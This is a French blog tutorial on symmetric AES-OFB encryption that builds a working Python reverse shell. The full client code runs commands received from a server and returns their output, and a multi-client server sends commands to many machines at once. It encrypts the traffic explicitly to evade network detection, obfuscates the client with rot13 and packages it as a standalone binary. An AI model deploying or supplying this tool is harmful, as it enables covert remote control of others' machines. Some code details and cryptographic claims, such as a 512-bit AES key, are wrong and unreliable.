Chiffrement symétrique et Reverse Shell
|Reverse Shell, Ca plus et ça musse !
…soyez indulgent pour cette entrée en matière. Aujourd’hui, nous allons mieux comprendre les algorithmes de chiffrement symétrique. Vous vous rappelez le petit reverse shell que nous avions fait ici ? Et bien, reprenons cet exemple simple et ajoutons lui deux caractéristiques non négligeable le chiffrement des communications et le multi-clients.
Nous allons, en effet, faire en sorte qu’une commande s’exécute sur tous vos clients en même temps ! (classe, non?!) Et mieux, pour passer encore plus inaperçu à travers le réseau, nous allons chiffrer ces communications.
Niveau Management & Législation: Pour la culture générale
Niveau Technique : Faut s’accrocher !
On va chiffrer ! Sur une étoile ou sur…
Bon, j’avoue, je ne commence pas par le plus facile. Oui nous allons chiffrer ! Mais NON nous n’utiliserons pas SSL/TLS car l’objectif est de mieux appréhender le chiffrement symétrique. Nous regarderons les bases des algo de chiffrement symétrique, de l’encodage et des fonctions de hashage…”Nom d’une pipe en bois ! mais ça à l’air compliqué ton histoire” me direz vous. Pas d’inquiétude, j’explique !
Nous allons chiffrer nos communication en AES256 en utilisant une pre-shared-key (PSK).
Un peu de Cryptographie…
AES est un algorithme de chiffrement par bloc initialement appelé Rinjdael et remportant la palme au concours des Algorithm Encryption Standard, d’où sa nomination AES. Il chiffre des blocs de données inférieurs ou égaux à la taille de la clé utilisée soit 128bits, 192bits, 256bits ou 512bits.
La taille de la clé est toujours supérieure ou égale à la taille du message que l’on veut chiffrer, c’est un des principes de Shannon : L’ordre de K est supérieur ou égal à l’ordre de C qui est supérieur ou égal à l’ordre de M
- K = groupe fini pour les clés,
- C = groupe fini pour les chiffrés,
- M = groupe fini pour les clairs
Du coup, si je chiffre un fichier de 34 octets (272 bits) je vais avoir des problèmes puisque la taille de mon message est supérieure à la taille de ma clé (272bits > 258bits). C’est pour cela que l’on utilise un mode d’opération pour chaîner les blocs (CBC, OFB, etc.).
Je ne détaillerais pas tous les modes d’opération, un très bon article Wikipedia est là pour ça. Ici, nous allons utiliser le mode Output FeedBack (OFB) parce qu’il permet de faire du pré-calcul de clés dérivées…hmm, regardons le schéma dans un premier temps.
Vous voyez que le texte clair (plaintext) est “mélangé” (grâce à un XOR) à la sortie du bloc cipher encryption et que cette sortie est réutilisée en tant que vecteur d’initialisation sur le bloc sipher suivant. Cela nous permet, grâce à ce mode opératoire, de calculer à l’avance toute les sorties des blocs cipher. Résultat : un gain de temps considérable !
Nous avons donc besoin :
- D’une clé (Key)
- D’un vecteur d’initialisation (IV)
- D’un mode d’opération (OFB)
- D’une méthode de construction de padding
De quoi le padding ? Oui alors petite mention spéciale, on ne chiffre que des blocs de taille fixe, du coup, si votre bloc n’est pas complet, il faut le compléter…avec le padding.
Vous êtes prêts ?
Nous allons à présent créer des fonctions qui vont nous permettre de chiffrer des bloc de 128 bits (*) avec une clé de 256 bits. C’est parti ! attaquons nous d’abord aux fonctions de padding justement :
#Padding en base 16 (16*8 = 128bits) BS = 16 #On complète le bloc avec notre padding pad = lambda s: s + (BS - len(s)%BS) * chr(BS -len(s)%BS) #On enlève le padding unpad = lambda s : s[0:-ord(s[-1])]
(*) je n’ai pas trouvé, en python, comment augmenter la taille du bloc, si vous avez des idées, n’hésitez pas à les renseigner en commentaire pour la communauté…oui je suis très communautaire comme garçon.
Ensuite, pour nos fonctions de chiffrement, il vous faudra les librairies crypto de python :
def encrypt_data(msg,key): #Ajout du padding msg = pad(msg) #Création de l'IV iv = Random.new().read(AES.block_size) #Chiffrement AES en mode OFB cipher = AES.new(key, AES.MODE_OFB, iv) #Encodage de l'objet en base64 msg = base64.b64encode(iv + cipher.encrypt(msg)) return msg def decrypt_data(msg,key): #Decodage base64 msg = base64.b64decode(msg) #Récupération de l'IV iv = msg[:AES.bloc_size] #Déchiffrement (c'est symétrique) cipher = AES.new(key, AES.MODE_OFB, iv) #On enlève le padding msg = unpad(cipher.decrypt(msg[AES.block_size:])) return msg
Et, enfin, la création de notre clé en 256bits. A savoir que les fonctions AES python récupèrent la clé sous forme d’objet, nous allons donc le créer à travers une fonction de hashage (parce que beaucoup plus simple).
PSK = "p@ssword0x0c!%" key = hashlib.sha256(PSK).digest()
Ces fonctions doivent être présentes sur le client ET le serveur, évidemment car l’algorithme est symétrique : la clé et le mode d’opération doivent donc se trouver des deux cotés.
Sur le client on a donc :
#!/usr/bin/python import socket import subprocess import os, signal from Crypto import Random from Crypto.Cipher import AES import hashlib import base64 URL = "127.0.0.1" # adresse du serveur port = 443 # port PSK = "p@ssword0x0c!%" # Pre-Shared Key key = hashlib.sha256(PSK).digest() #Padding en base 16 (16*8 = 128bits) BS = 16 pad = lambda s: s + (BS - len(s)%BS) * chr(BS -len(s)%BS) unpad = lambda s : s[0:-ord(s[-1])] #Fonction de déchiffrement def encrypt_data(msg,key): msg = pad(msg) iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_OFB, iv) msg = base64.b64encode(iv + cipher.encrypt(msg)) return msg #Fonction de chiffrement def decrypt_data(msg,key): msg = base64.b64decode(msg) iv = msg[:AES.block_size] cipher = AES.new(key, AES.MODE_OFB, iv) msg = unpad(cipher.decrypt(msg[AES.block_size:])) return msg #Fonction d'exécution de commande def cmd(c): #On reçoit la commande de la part du serveur data = c.recv(4096) #On déchiffre data = decrypt_data(data,key) if data == "quit" or len(data) == 0: return True else: #On exécute la commande proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, preexec_fn=os.setsid) #On récupère les données à envoyer au serveur stdout_value = proc.stdout.read() + proc.stderr.read() os.killpg(proc.pid, signal.SIGTERM) # On chiffre stdout_value = encrypt_data(stdout_value,key) # on renvoie c.send(stdout_value) return False socket_died = False while not socket_died: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((URL,port)) while not socket_died: socket_died=cmd(client) client.close()
Oui mais du coup la PSK est en clair dans le code ?!
Judicieuse remarque, qu’à cela ne tienne, exécutons un petit encodage en rot13 avec ce script obfusc_file.py ci dessous. Ce petit script vous permet d’encoder un fichier en décalant chaque lettre de 13 dans l’alphabet : A devient N, B devient O,..,Y devient L, Z devient M. C’est de la transposition mono-alphabétique. De la même manière que le “Chiffre de César” sauf que lui utilisait un décalage de 3… c’te faignant !
#!/usr/bin/python #import sys fname=sys.argv[1] FILE_IN=open(fname,"r") #On récupère le contenu du fichier for line in FILE_IN: data=data+line #On encode data = data.encode("rot13") data = "# -*- coding: rot13 -*-\n"+data #On écrit dans un nouveau fichier FILE_OUT=open("obf_"+fname,"w") FILE_OUT.write(data) FILE_OUT.close() --------------------------------------- python>> obfusc_file.py client.py
Oui mais le client doit avoir python non?
Et bien pas forcément. Il vous suffit d’en faire un exécutable tout simplement grâce à cx_freeze.
Il ne vous restera plus, ensuite, qu’à exécuter votre client comme un binaire normal. Ô joie!
Gestion simultané de clients
Pour la gestion simultanée de clients, vous n’aurez qu’à toucher au serveur. On ne touche plus au client, il est très bien comme ça.
L’idée est assez simple, vous ouvrez une liste de clients, vous attendez qu’ils se connectent et vous exécutez vos commandes à la file. Ce qui nous donne pour notre serveur définitif :
#!/usr/bin/python import socket import os from Crypto import Random from Crypto.Cipher import AES import hashlib import base64 URL = "127.0.0.1" # l'adresse d'écoute de votre serveur port = 443 # le port d'écoute de votre serveur max_client=2 # nbr de clients simultanés souhaités PSK = "p@ssword0x0c!%" # Pre-Shared Key key = hashlib.sha256(PSK).digest() #Padding en base 16 (16*8 = 128bits) BS = 16 pad = lambda s: s + (BS - len(s)%BS) * chr(BS -len(s)%BS) unpad = lambda s : s[0:-ord(s[-1])] #Fonction de déchiffrement def encrypt_data(msg,key): msg = pad(msg) iv = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_OFB, iv) msg = base64.b64encode(iv + cipher.encrypt(msg)) return msg #Fonction de chiffrement def decrypt_data(msg,key): msg = base64.b64decode(msg) iv = msg[:AES.block_size] cipher = AES.new(key, AES.MODE_OFB, iv) msg = unpad(cipher.decrypt(msg[AES.block_size:])) return msg #Création du serveur server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((URL,port)) server.listen(max_client) #Liste des clients clients=[] clients_addr=[] #Connexion des clients i=1 while i <= max_client: cnx_client, cnx_info =server.accept() clients.append(cnx_client) clients_addr.append(cnx_info) print cnx_info, " : Connection "+str(i)+"/"+str(max_client) i=i+1 cpt = max_client #Ecoute du serveur tant qu'il y a des clients while cpt > 0: msg = raw_input(">>") addr=0 #Pour chaque client de la liste, faire for c in clients : if len(msg)>0: #si "quit" on quitte if msg == "quit": print("Quitting : ",clients_addr[addr]) #On chiffre enc_msg = encrypt_data(msg,key) #On envoie c.send(enc_msg) #On supprime le client de la liste clients.remove(c) clients_addr.remove(clients_addr[addr]) cpt=cpt-1 # si "&" on n'attend pas de retour elif msg[:-1]=="&": enc_msg=encrypt_data(msg,key) c.send(enc_msg) else: #On chiffre enc_msg=encrypt_data(msg,key) #On envoie c.send(enc_msg) #On reçoit data = c.recv(4096) #On déchiffre data = decrypt_data(data,key) print clients_addr[addr],": "+data addr = addr + 1 server.close()
En espérant que ce post ait été utile, n’hésitez pas à mettre vos commentaires.